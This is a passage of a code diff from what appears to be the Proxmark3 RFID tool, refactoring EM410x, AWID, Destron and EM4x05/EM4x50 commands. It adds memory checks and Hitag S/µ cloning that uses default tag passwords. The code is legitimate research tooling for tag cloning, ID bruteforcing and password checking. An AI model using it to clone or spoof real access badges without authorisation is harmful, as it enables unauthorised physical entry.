*Cmd) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(FAILED, _RED_("No data found!")); - PrintAndLogEx(HINT, "Maybe not an LF tag?"); + PrintAndLogEx(HINT, "Hint: Maybe not an LF tag?"); PrintAndLogEx(NORMAL, ""); if (search_cont == 0) { return PM3_ESOFT; @@ -1742,8 +1795,6 @@ int CmdLFfind(const char *Cmd) { } } - int retval = PM3_SUCCESS; - // ask / man if (demodEM410x(true) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("EM410x ID") " found!"); diff --git a/client/src/cmdlfawid.c b/client/src/cmdlfawid.c index 51a0eea11..0f28d823d 100644 --- a/client/src/cmdlfawid.c +++ b/client/src/cmdlfawid.c @@ -59,6 +59,10 @@ static int sendTry(uint8_t fmtlen, uint32_t fc, uint32_t cn, uint32_t delay, uin } lf_fsksim_t *payload = calloc(1, sizeof(lf_fsksim_t) + bs_len); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->fchigh = 10; payload->fclow = 8; payload->separator = 1; @@ -147,7 +151,7 @@ int demodAWID(bool verbose) { (void) verbose; // unused so far uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(DEBUG, "DEBUG: Error - AWID failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -345,7 +349,7 @@ static int CmdAWIDReader(const char *Cmd) { do { lf_read(false, 12000); demodAWID(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -403,6 +407,10 @@ static int CmdAWIDClone(const char *Cmd) { verify_values(&fmtlen, &fc, &cn); uint8_t *bits = calloc(96, sizeof(uint8_t)); + if (bits == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } if (getAWIDBits(fmtlen, fc, cn, bits) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Error with tag bitstream generation."); @@ -433,8 +441,8 @@ static int CmdAWIDClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf awid reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf awid reader") "` to verify"); return res; } @@ -479,6 +487,10 @@ static int CmdAWIDSim(const char *Cmd) { // arg2 --- Inversion and clk setting // 96 --- Bitstream length: 96-bits == 12 bytes lf_fsksim_t *payload = calloc(1, sizeof(lf_fsksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->fchigh = 10; payload->fclow = 8; payload->separator = 1; diff --git a/client/src/cmdlfdestron.c b/client/src/cmdlfdestron.c index 52a0b736b..a9c6b1bd2 100644 --- a/client/src/cmdlfdestron.c +++ b/client/src/cmdlfdestron.c @@ -129,7 +129,7 @@ static int CmdDestronReader(const char *Cmd) { do { lf_read(false, 16000); demodDestron(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -212,8 +212,8 @@ static int CmdDestronClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf destron reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf destron reader") "` to verify"); return res; } diff --git a/client/src/cmdlfem410x.c b/client/src/cmdlfem410x.c index 67c53972e..c178eb440 100644 --- a/client/src/cmdlfem410x.c +++ b/client/src/cmdlfem410x.c @@ -247,7 +247,7 @@ static int ask_em410x_binary_decode(bool verbose, uint32_t *hi, uint64_t *lo, ui else if (ans == -4) PrintAndLogEx(DEBUG, "DEBUG: Error - Em410x preamble not found"); else if (ans == -5) - PrintAndLogEx(DEBUG, "DEBUG: Error - Em410x Size not correct: %zu", size); + PrintAndLogEx(DEBUG, "DEBUG: Error - Em410x Size not correct: %zu", *size); else if (ans == -6) PrintAndLogEx(DEBUG, "DEBUG: Error - Em410x parity failed"); @@ -371,8 +371,8 @@ static int CmdEM410xDemod(const char *Cmd) { size_t max_len = arg_get_u32_def(ctx, 3, 0); bool invert = arg_get_lit(ctx, 4); bool amplify = arg_get_lit(ctx, 5); - int bin_len = 512; uint8_t bin[512] = {0}; + int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 6, bin, &bin_len); CLIParserFree(ctx); @@ -445,7 +445,7 @@ static int CmdEM410xReader(const char *Cmd) { if (break_first && gs_em410xid != 0) { break; } - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -456,17 +456,19 @@ static int CmdEM410xSim(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf em 410x sim", "Enables simulation of EM 410x card.\n" - "Simulation runs until the button is pressed or another USB command is issued.", + "Simulation runs until the button is pressed or another USB command is issued.\n" + "Most common readers expects the code to be sent in loop without a break (i.e. --gap 0).\n" + "For other, more advanced readers there might be a need to set a non-zero gap value.", "lf em 410x sim --id 0F0368568B\n" "lf em 410x sim --id 0F0368568B --clk 32\n" - "lf em 410x sim --id 0F0368568B --gap 0" + "lf em 410x sim --id 0F0368568B --gap 20" ); void *argtable[] = { arg_param_begin, arg_u64_0(NULL, "clk", "", "<32|64> clock (default 64)"), arg_str1(NULL, "id", "", "EM Tag ID number (5 hex bytes)"), - arg_u64_0(NULL, "gap", "", "gap (0's) between ID repeats (default 20)"), + arg_u64_0(NULL, "gap", "", "gap (0's) between ID repeats (default 0)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -474,7 +476,7 @@ static int CmdEM410xSim(const char *Cmd) { // clock is 64 in EM410x tags int clk = arg_get_u32_def(ctx, 1, 64); int uid_len = 0; - int gap = arg_get_u32_def(ctx, 3, 20); + int gap = arg_get_u32_def(ctx, 3, 0); uint8_t uid[5] = {0}; CLIGetHexWithReturn(ctx, 2, uid, &uid_len); CLIParserFree(ctx); @@ -526,74 +528,34 @@ static int CmdEM410xBrute(const char *Cmd) { return PM3_EINVARG; } - uint32_t uidcnt = 0; - uint8_t stUidBlock = 20; - uint8_t *p = NULL; - uint8_t uid[5] = {0x00}; - - // open file - FILE *f = NULL; - if ((f = fopen(filename, "r")) == NULL) { - PrintAndLogEx(ERR, "Error: Could not open EM Tag IDs file ["_YELLOW_("%s")"]", filename); - return PM3_EFILE; + // get suffix. + char suffix[10] = {0}; + char *ext = strrchr(filename, '.'); + if (ext != NULL) { + strncpy(suffix, ext, sizeof(suffix) - 1); } - // allocate mem for file contents - uint8_t *uidblock = calloc(stUidBlock, 5); - if (uidblock == NULL) { - fclose(f); - PrintAndLogEx(ERR, "Error: can't allocate memory"); - return PM3_EMALLOC; + // load keys + uint8_t *uidblock = NULL; + uint32_t uidcount = 0; + int res = loadFileDICTIONARY_safe_ex(filename, suffix, (void **)&uidblock, 5, &uidcount, false); + if (res != PM3_SUCCESS) { + free(uidblock); + return res; } - // read file into memory - char buf[11]; - - while (fgets(buf, sizeof(buf), f)) { - if (strlen(buf) < 10 || buf[9] == '\n') continue; - while (fgetc(f) != '\n' && !feof(f)); //goto next line - - //The line start with # is comment, skip - if (buf[0] == '#') continue; - - int uidlen = 0; - if (param_gethex_ex(buf, 0, uid, &uidlen) && (uidlen != 10)) { - PrintAndLogEx(FAILED, "EM Tag IDs must include 5 hex bytes (10 hex symbols), got ( " _RED_("%d") " )", uidlen); - free(uidblock); - fclose(f); - return PM3_ESOFT; - } - - buf[10] = 0; - - if (stUidBlock - uidcnt < 2) { - p = realloc(uidblock, 5 * (stUidBlock += 10)); - if (!p) { - PrintAndLogEx(WARNING, "Cannot allocate memory for EM Tag IDs"); - free(uidblock); - fclose(f); - return PM3_ESOFT; - } - uidblock = p; - } - memset(uidblock + 5 * uidcnt, 0, 5); - num_to_bytes(strtoll(buf, NULL, 16), 5, uidblock + 5 * uidcnt); - uidcnt++; - memset(buf, 0, sizeof(buf)); - } - fclose(f); - - if (uidcnt == 0) { + if (uidcount == 0) { PrintAndLogEx(FAILED, "No EM Tag IDs found in file"); free(uidblock); - return PM3_ESOFT; + return PM3_EINVARG; } - PrintAndLogEx(SUCCESS, "Loaded "_YELLOW_("%d")" EM Tag IDs from "_YELLOW_("%s")", pause delay:"_YELLOW_("%d")" ms", uidcnt, filename, delay); + PrintAndLogEx(SUCCESS, "Loaded "_GREEN_("%d")" EM Tag IDs from `"_YELLOW_("%s")"` pause delay:"_YELLOW_("%d")" ms", uidcount, filename, delay); // loop uint8_t testuid[5]; - for (uint32_t c = 0; c < uidcnt; ++c) { + for (uint32_t i = 0; i < uidcount; ++i) { + if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); PrintAndLogEx(WARNING, "aborted via keyboard!\n"); @@ -601,10 +563,12 @@ static int CmdEM410xBrute(const char *Cmd) { return PM3_EOPABORTED; } - memcpy(testuid, uidblock + 5 * c, 5); + memset(testuid, 0, sizeof(testuid)); + memcpy(testuid, uidblock + (5 * i), sizeof(testuid)); + PrintAndLogEx(INFO, "Bruteforce %d / %u: simulating EM Tag ID " _YELLOW_("%s") - , c + 1 - , uidcnt + , i + 1 + , uidcount , sprint_hex_inrow(testuid, sizeof(testuid)) ); @@ -621,7 +585,6 @@ static int CmdEM410xBrute(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_SIMULATE, (uint8_t *)&payload, sizeof(payload)); - PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_SIMULATE, &resp, delay)) { if (resp.status == PM3_EOPABORTED) { @@ -658,29 +621,15 @@ static int CmdEM410xSpoof(const char *Cmd) { return PM3_SUCCESS; } -static size_t concatbits(uint8_t *dst, size_t dstskip, const uint8_t *src, size_t srcstart, size_t srclen) { - // erase dstbuf bits that will be overriden - dst[dstskip / 8] &= 0xFF - ((1 << (7 - (dstskip % 8) + 1)) - 1); - for (size_t i = (dstskip / 8) + 1; i <= (dstskip + srclen) / 8; i++) { - dst[i] = 0; - } - - for (size_t i = 0; i < srclen; i++) { - // equiv of dstbufbits[dstbufskip + i] = srcbufbits[srcbufstart + i] - dst[(dstskip + i) / 8] |= ((src[(srcstart + i) / 8] >> (7 - ((srcstart + i) % 8))) & 1) << (7 - ((dstskip + i) % 8)); - } - - return dstskip + srclen; -} - static int CmdEM410xClone(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf em 410x clone", - "clone a EM410x ID to a T55x7, Q5/T5555, EM4305/4469 or Hitag S/8211 tag.", + "clone a EM410x ID to a T55x7, Q5/T5555, EM4305/4469, Hitag S/8211/8268/8310 or Hitag µ/8265 tag.", "lf em 410x clone --id 0F0368568B -> encode for T55x7 tag\n" "lf em 410x clone --id 0F0368568B --q5 -> encode for Q5/T5555 tag\n" "lf em 410x clone --id 0F0368568B --em -> encode for EM4305/4469\n" - "lf em 410x clone --id 0F0368568B --hs -> encode for Hitag S/8211" + "lf em 410x clone --id 0F0368568B --hts -> encode for Hitag S/8211/8268/8310\n" + "lf em 410x clone --id 0F0368568B --htu -> encode for Hitag µ/8265 tag" ); void *argtable[] = { @@ -689,7 +638,8 @@ static int CmdEM410xClone(const char *Cmd) { arg_str1(NULL, "id", "", "EM Tag ID number (5 hex bytes)"), arg_lit0(NULL, "q5", "optional - specify writing to Q5/T5555 tag"), arg_lit0(NULL, "em", "optional - specify writing to EM4305/4469 tag"), - arg_lit0(NULL, "hs", "optional - specify writing to Hitag S/8211 tag"), + arg_lit0(NULL, "hts", "optional - specify writing to Hitag S/8211/8268/8310 tag"), + arg_lit0(NULL, "htu", "optional - specify writing to Hitag µ/8265 tag"), arg_lit0(NULL, "electra", "optional - add Electra blocks to tag"), arg_param_end }; @@ -702,24 +652,24 @@ static int CmdEM410xClone(const char *Cmd) { CLIGetHexWithReturn(ctx, 2, uid, &uid_len); bool q5 = arg_get_lit(ctx, 3); bool em = arg_get_lit(ctx, 4); - bool hs = arg_get_lit(ctx, 5); - bool add_electra = arg_get_lit(ctx, 6); + bool hts = arg_get_lit(ctx, 5); + bool htu = arg_get_lit(ctx, 6); + bool add_electra = arg_get_lit(ctx, 7); CLIParserFree(ctx); - if (q5 + em + hs > 1) { + if (q5 + em + hts + htu > 1) { PrintAndLogEx(FAILED, "Only specify one tag Type"); return PM3_EINVARG; } - if (hs) { - if (IfPm3Hitag() == false) { - PrintAndLogEx(FAILED, "Device not compiled to support Hitag"); - return PM3_EINVARG; - } - if (clk == 40) { - PrintAndLogEx(FAILED, "supported clock rates for Hitag are " _YELLOW_("16, 32, 64")); - return PM3_EINVARG; - } + if ((hts || htu) && IfPm3Hitag() == false) { + PrintAndLogEx(FAILED, "Device not compiled to support Hitag"); + return PM3_EINVARG; + } + + if ((hts || htu) && clk == 40) { + PrintAndLogEx(FAILED, "supported clock rates for Hitag are " _YELLOW_("16, 32, 64")); + return PM3_EINVARG; } // Allowed clock rates: 16, 32, 40 and 64 @@ -730,9 +680,9 @@ static int CmdEM410xClone(const char *Cmd) { uint64_t id = bytes_to_num(uid, uid_len); PrintAndLogEx(SUCCESS, "Preparing to clone EM4102 to " _YELLOW_("%s") " tag with EM Tag ID " _GREEN_("%010" PRIX64) " (RF/%d)", - q5 ? "Q5/T5555" : (em ? "EM4305/4469" : (hs ? "Hitag S/8211" : "T55x7")), id, clk); + q5 ? "Q5/T5555" : (em ? "EM4305/4469" : (hts ? "Hitag S/82xx" : (htu ? "Hitag µ/82xx" : "T55x7"))), id, clk); - uint8_t data[HITAG_BLOCK_SIZE * 2] = {0xFF, 0x80}; // EM410X_HEADER 9 bits of one + uint8_t data[8] = {0xFF, 0x80}; // EM410X_HEADER 9 bits of one uint32_t databits = 9; uint8_t c_parity = 0; @@ -740,11 +690,11 @@ static int CmdEM410xClone(const char *Cmd) { uint8_t r_parity = 0; uint8_t nibble = id >> i & 0xF; - databits = concatbits(data, databits, &nibble, 4, 4); + databits = concatbits(data, databits, &nibble, 4, 4, false); for (size_t j = 0; j < 4; j++) { r_parity ^= nibble >> j & 1; } - databits = concatbits(data, databits, &r_parity, 7, 1); + databits = concatbits(data, databits, &r_parity, 7, 1, false); c_parity ^= nibble; } data[7] |= c_parity << 1; @@ -754,54 +704,149 @@ static int CmdEM410xClone(const char *Cmd) { clearCommandBuffer(); PacketResponseNG resp; - if (hs) { + if (hts) { + lf_hitag_data_t packet; memset(&packet, 0, sizeof(packet)); - for (size_t steps = 0; steps < 3; steps++) { - switch (steps) { - case 0: - packet.data[0] = 0xCA; //compatiable for 82xx, no impact on Hitag S - // clk -> TTFDR1 TTFDR0 - // 32 -> 0x00 4 kBit/s - // 16 -> 0x10 8 kBit/s - // 64 -> 0x20 2 kBit/s - packet.data[1] = 0x04; + for (size_t step = 0; step < 3; step++) { + + switch (step) { + case 0: { + hitags_config_page_t config_page = {0}; + config_page.s.MEMT = 0x02; // compatiable for 82xx, no impact on Hitag S + config_page.s.TTFM = 0x01; // 0 = "Block 0, Block 1, Block 2, Block 3", 1 = "Block 0, Block 1" + config_page.s.TTFC = 0x00; // Manchester + config_page.s.auth = 0x00; // Plain + + //compatiable for 82xx, no impact on Hitag S + config_page.s.RES1 = 0x01; + config_page.s.RES4 = 0x01; + config_page.s.RES5 = 0x01; switch (clk) { - case 32: + case 64: { + // 2 kBit/s + config_page.s.TTFDR = 0x02; break; - case 16: - packet.data[1] |= 0x10; + } + case 32: { + // 4 kBit/s + config_page.s.TTFDR = 0x00; break; - case 64: - packet.data[1] |= 0x20; + } + case 16: { + // 8 kBit/s + config_page.s.TTFDR = 0x01; break; + } } - packet.data[2] = 0; - packet.data[3] = 0; //TODO: keep PWDH0? + //TODO: keep other fields? + memcpy(packet.data, &config_page.asBytes, sizeof(config_page.asBytes)); packet.page = 1; break; - case 1: - memcpy(packet.data, &data[HITAG_BLOCK_SIZE * 0], HITAG_BLOCK_SIZE); + } + case 1: { + memcpy(packet.data, &data[HITAGS_PAGE_SIZE * 0], HITAGS_PAGE_SIZE); packet.page = 4; break; - case 2: - memcpy(packet.data, &data[HITAG_BLOCK_SIZE * 1], HITAG_BLOCK_SIZE); + } + case 2: { + memcpy(packet.data, &data[HITAGS_PAGE_SIZE * 1], HITAGS_PAGE_SIZE); packet.page = 5; break; + } } - packet.cmd = WHTSF_PLAIN; + packet.cmd = HTSF_82xx; + memcpy(packet.pwd, "\xBB\xDD\x33\x99", HITAGS_PAGE_SIZE); + packet.mode = HITAGS_UID_REQ_FADV; + SendCommandNG(CMD_LF_HITAGS_WRITE, (uint8_t *)&packet, sizeof(packet)); if (WaitForResponseTimeout(CMD_LF_HITAGS_WRITE, &resp, 4000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } + if (resp.status != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "Something went wrong"); + PrintAndLogEx(WARNING, "Something went wrong in step %zu", step); return resp.status; } } + } else if (htu) { + + lf_hitag_data_t packet; + memset(&packet, 0, sizeof(packet)); + + // Use password auth with default password + packet.cmd = HTUF_82xx; + memcpy(packet.pwd, "\x00\x00\x00\x00", HITAG_PASSWORD_SIZE); + // memcpy(packet.pwd, "\x9A\xC4\x99\x9C", HITAGU_BLOCK_SIZE); + + for (size_t step = 0; step < 3; step++) { + + switch (step) { + case 0: { + // Configure datarate based on clock + // clk -> datarate + // 64 -> 0x00 2 kBit/s + // 32 -> 0x01 4 kBit/s + // 16 -> 0x10 8 kBit/s + hitagu_config_page_t config_page = {0}; + + config_page.s82xx.datarate_override = 0x00; // no datarate override + config_page.s82xx.encoding = 0x00; // Manchester + config_page.s82xx.ttf_mode = 0x01; // 01 = "Block 0, Block 1" + config_page.s82xx.ttf = 0x01; // enable TTF + + switch (clk) { + case 64: { + break; + } + case 32: { + config_page.s82xx.datarate = 0x01; + break; + } + case 16: { + config_page.s82xx.datarate = 0x02; + break; + } + } + reverse_arraybytes_copy(config_page.asBytes, packet.data, sizeof(config_page)); + packet.page = HITAGU_CONFIG_PADR; // Config block + break; + } + case 1: { + memcpy(packet.data, &data[HITAGU_BLOCK_SIZE * 0], HITAGU_BLOCK_SIZE); + packet.page = 0; // Start writing EM410x data + break; + } + case 2: { + memcpy(packet.data, &data[HITAGU_BLOCK_SIZE * 1], HITAGU_BLOCK_SIZE); + packet.page = 1; // Continue with second block + break; + } + } + + SendCommandNG(CMD_LF_HITAGU_WRITE, (uint8_t *)&packet, sizeof(packet)); + if (WaitForResponseTimeout(CMD_LF_HITAGU_WRITE, &resp, 4000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_ENODATA && resp.status != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Something went wrong in step %zu, retrying... Press " _GREEN_("") " to exit", step); + // 8265 Often fails during continuous command execution, need to retry + if (kbd_enter_pressed()) { + PrintAndLogEx(INFO, "Button pressed, user aborted"); + return PM3_EOPABORTED; + } + + step--; + continue; + } + //TODO: fix this + resp.status = PM3_SUCCESS; + } } else { struct { bool Q5; @@ -820,13 +865,16 @@ static int CmdEM410xClone(const char *Cmd) { payload.low = (uint32_t)id; SendCommandNG(CMD_LF_EM410X_CLONE, (uint8_t *)&payload, sizeof(payload)); - WaitForResponse(CMD_LF_EM410X_CLONE, &resp); + if (WaitForResponseTimeout(CMD_LF_EM410X_CLONE, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } } switch (resp.status) { case PM3_SUCCESS: { - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf em 410x reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf em 410x reader") "` to verify"); break; } default: { diff --git a/client/src/cmdlfem4x05.c b/client/src/cmdlfem4x05.c index 2a1fcf387..11589d881 100644 --- a/client/src/cmdlfem4x05.c +++ b/client/src/cmdlfem4x05.c @@ -469,7 +469,7 @@ static int em4x05_login_ext(uint32_t pwd) { SendCommandNG(CMD_LF_EM4X_LOGIN, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_EM4X_LOGIN, &resp, 10000) == false) { - PrintAndLogEx(WARNING, "(em4x05_login_ext) timeout while waiting for reply."); + PrintAndLogEx(WARNING, "(em4x05_login_ext) timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -496,7 +496,7 @@ int em4x05_read_word_ext(uint8_t addr, uint32_t pwd, bool use_pwd, uint32_t *wor SendCommandNG(CMD_LF_EM4X_READWORD, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_EM4X_READWORD, &resp, 10000) == false) { - PrintAndLogEx(WARNING, "(em4x05_read_word_ext) timeout while waiting for reply."); + PrintAndLogEx(WARNING, "(em4x05_read_word_ext) timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1173,7 +1173,7 @@ int CmdEM4x05Dump(const char *Cmd) { } else if (status == PM3_EFAILED) { PrintAndLogEx(WARNING, "password ( " _RED_("fail") ") , will try without password"); usePwd = false; - } else if (status != PM3_EFAILED) { + } else { PrintAndLogEx(WARNING, "Login attempt: no answer from tag"); return status; } @@ -1486,7 +1486,7 @@ int CmdEM4x05Write(const char *Cmd) { else PrintAndLogEx(DEBUG, "No answer from tag"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf em 4x05 read`") " to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf em 4x05 read") "` to verify"); return status; } @@ -1696,7 +1696,7 @@ int CmdEM4x05Chk(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_str0("f", "file", "", "loads a default keys dictionary file <*.dic>"), - arg_str0("e", "em", "", "try the calculated password from some cloners based on EM4100 ID"), + arg_str0("e", "em", "", "try the calculated password from some cloners based on EM4100 ID"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -1839,7 +1839,7 @@ int CmdEM4x05Brute(const char *Cmd) { SendCommandNG(CMD_LF_EM4X_BF, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_EM4X_BF, &resp, 1000) == false) { - PrintAndLogEx(WARNING, "(EM4x05 Bruteforce) timeout while waiting for reply."); + PrintAndLogEx(WARNING, "(EM4x05 Bruteforce) timeout while waiting for reply"); return PM3_ETIMEOUT; } PrintAndLogEx(INFO, "Bruteforce is running on device side, press button to interrupt"); @@ -2013,7 +2013,7 @@ int CmdEM4x05Unlock(const char *Cmd) { PrintAndLogEx(INFO, "----------------------------------------------------------------------------\n"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "Press " _GREEN_("'") " to exit"); + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------------\n"); diff --git a/client/src/cmdlfem4x50.c b/client/src/cmdlfem4x50.c index aa128b53a..a8b199700 100644 --- a/client/src/cmdlfem4x50.c +++ b/client/src/cmdlfem4x50.c @@ -215,7 +215,7 @@ static int CmdEM4x50ELoad(const char *Cmd) { // upload to emulator memory em4x50_seteml(data, 0, EM4X50_DUMP_FILESIZE); - PrintAndLogEx(HINT, "You are ready to simulate. See " _YELLOW_("`lf em 4x50 sim -h`")); + PrintAndLogEx(HINT, "Hint: You are ready to simulate. See `" _YELLOW_("lf em 4x50 sim -h") "`"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -340,7 +340,10 @@ static int CmdEM4x50Login(const char *Cmd) { clearCommandBuffer(); PacketResponseNG resp; SendCommandNG(CMD_LF_EM4X50_LOGIN, (uint8_t *)&password, sizeof(password)); - WaitForResponse(CMD_LF_EM4X50_LOGIN, &resp); + if (WaitForResponseTimeout(CMD_LF_EM4X50_LOGIN, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } // print response if (resp.status == PM3_SUCCESS) @@ -628,7 +631,7 @@ int em4x50_read(em4x50_data_t *etd, em4x50_word_t *out) { SendCommandNG(CMD_LF_EM4X50_READ, (uint8_t *)&edata, sizeof(edata)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_EM4X50_READ, &resp, EM4X50_TIMEOUT_CMD) == false) { - PrintAndLogEx(WARNING, "(em4x50) timeout while waiting for reply."); + PrintAndLogEx(WARNING, "(em4x50) timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -636,10 +639,8 @@ int em4x50_read(em4x50_data_t *etd, em4x50_word_t *out) { return PM3_ESOFT; } - em4x50_read_data_response_t *o = (em4x50_read_data_response_t *)resp.data.asBytes; - em4x50_word_t words[EM4X50_NO_WORDS] = {0}; - em4x50_prepare_result((uint8_t *)o->words, etd->addresses & 0xFF, (etd->addresses >> 8) & 0xFF, words); + em4x50_prepare_result(resp.data.asBytes, etd->addresses & 0xFF, (etd->addresses >> 8) & 0xFF, words); if (out != NULL) { memcpy(out, &words, sizeof(em4x50_word_t) * EM4X50_NO_WORDS); @@ -737,7 +738,7 @@ static int CmdEM4x50Info(const char *Cmd) { SendCommandNG(CMD_LF_EM4X50_INFO, (uint8_t *)&etd, sizeof(etd)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_EM4X50_INFO, &resp, EM4X50_TIMEOUT_CMD) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -778,6 +779,12 @@ static int CmdEM4x50Reader(const char *Cmd) { // iceman, misuse of return status code. int now = resp.status; + // prevent massive stack corruption if unexpected results from device. + if (now > EM4X50_NO_WORDS) { + PrintAndLogEx(WARNING, "word count was: %d, limiting to %d", now, EM4X50_NO_WORDS); + now = EM4X50_NO_WORDS; + } + if (now > 0) { em4x50_word_t words[EM4X50_NO_WORDS]; @@ -854,7 +861,7 @@ static int CmdEM4x50Dump(const char *Cmd) { SendCommandNG(CMD_LF_EM4X50_INFO, (uint8_t *)&etd, sizeof(etd)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_EM4X50_INFO, &resp, EM4X50_TIMEOUT_CMD) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply"); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -953,7 +960,7 @@ static int CmdEM4x50Write(const char *Cmd) { SendCommandNG(CMD_LF_EM4X50_WRITE, (uint8_t *)&etd, sizeof(etd)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_EM4X50_WRITE, &resp, EM4X50_TIMEOUT_CMD) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -974,7 +981,7 @@ static int CmdEM4x50Write(const char *Cmd) { em4x50_prepare_result(data, addr, addr, words); em4x50_print_result(words, addr, addr); PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("lf em 4x50 rdbl -b %u") "` - to read your data", addr); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf em 4x50 rdbl -b %u") "` - to read your data", addr); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -1024,7 +1031,7 @@ static int CmdEM4x50WritePwd(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_EM4X50_WRITEPWD, (uint8_t *)&etd, sizeof(etd)); if (WaitForResponseTimeout(CMD_LF_EM4X50_WRITEPWD, &resp, EM4X50_TIMEOUT_CMD) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1082,7 +1089,7 @@ static int CmdEM4x50Wipe(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_EM4X50_WRITEPWD, (uint8_t *)&etd, sizeof(etd)); if (WaitForResponseTimeout(CMD_LF_EM4X50_WRITEPWD, &resp, EM4X50_TIMEOUT_CMD) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply"); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1108,7 +1115,7 @@ static int CmdEM4x50Wipe(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_EM4X50_WRITE, (uint8_t *)&etd, sizeof(etd)); if (WaitForResponseTimeout(CMD_LF_EM4X50_WRITE, &resp, EM4X50_TIMEOUT_CMD) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1204,7 +1211,7 @@ static int CmdEM4x50Restore(const char *Cmd) { SendCommandNG(CMD_LF_EM4X50_WRITE, (uint8_t *)&etd, sizeof(etd)); if (WaitForResponseTimeout(CMD_LF_EM4X50_WRITE, &resp, EM4X50_TIMEOUT_CMD) == false) { PrintAndLogEx(NORMAL, ""); - 